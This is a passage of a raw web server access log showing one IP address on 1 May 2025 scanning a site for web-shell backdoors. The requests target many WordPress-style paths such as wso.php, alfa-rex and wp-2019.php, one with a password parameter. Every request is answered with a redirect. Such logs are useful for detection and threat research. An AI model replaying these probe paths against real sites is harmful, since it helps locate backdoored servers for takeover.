(KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:23 -0400] "GET /about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:24 -0400] "GET /wp-content/plugins/envato/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:25 -0400] "GET /index.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:27 -0400] "GET /wp-content/plugins/tex/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:28 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:28 -0400] "GET /wp-admin/maint/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:29 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:32 -0400] "GET /wp-content/plugins/fox/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:34 -0400] "GET /wp-content/plugins/seofile/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:45 -0400] "GET /wp-content/plugins/project/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:51 -0400] "GET /wp-content/plugins/press/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:52 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:53 -0400] "GET /wp-content/plugins/cache/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:54 -0400] "GET /css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:55 -0400] "GET /wp-content/plugins/login/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:56 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:57 -0400] "GET /wp-content/plugins/file-edit/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:59 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:59 -0400] "GET /wp-content/plugins/project/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:02 -0400] "GET /wp-content/plugins/casper/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:03 -0400] "GET /wp-content/plugins/editor/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:05 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:06 -0400] "GET /404.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:07 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:09 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:15 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:17 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:19 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:21 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:22 -0400] "GET /about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:24 -0400] "GET /admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:24 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:26 -0400] "GET /about.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:27 -0400] "GET /wp-includes/class-wp-recovery-mode-cookiie-service.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:28 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:30 -0400] "GET /wp-includes/class-wp-upgrade.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:31 -0400] "GET /images/horuxshell2.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:34 -0400] "GET /images/jinx.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:36 -0400] "GET /images/batm.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:37 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:38 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:38 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:39 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:41 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:42 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:44 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:46 -0400] "GET /batm.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:50 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:52 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:55 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:55 -0400] "GET /radio.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:56 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:56 -0400] "GET /yanz.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:07:59 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:00 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:01 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:03 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:03 -0400] "GET /wp-admin/maint/wso.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:05 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:06 -0400] "GET /wp-admin/css/wso.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:08 -0400] "GET /images/wso.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:08 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:11 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:12 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:17 -0400] "GET /images/fw.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:18 -0400] "GET /ioxi-rex4.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:21 -0400] "GET /ALFA_DATA/alfacgiapi/fw.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:24 -0400] "GET /wp-content/plugins/seoo/alfa-ioxi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:25 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:27 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:29 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:32 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:32 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:41 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:44 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:46 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:47 -0400] "GET /cgi-bin/wp-2019.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:48 -0400] "GET /ALFA_DATA/wp-2019.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:50 -0400] "GET /.well-known/wp-2019.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:52 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:55 -0400] "GET /wp-admin/wp-2019.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:55 -0400] "GET /wp-admin/css/colors/blue/ioxi1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:57 -0400] "GET /wp-content/wp-2019.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:57 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:08:59 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:00 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:01 -0400] "GET /wp-includes/certificates/about.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:03 -0400] "GET /wp-includes/rest-api/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:04 -0400] "GET /images/wp-2019.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:10 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:19 -0400] "GET /images/alfa-rex.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:22 -0400] "GET 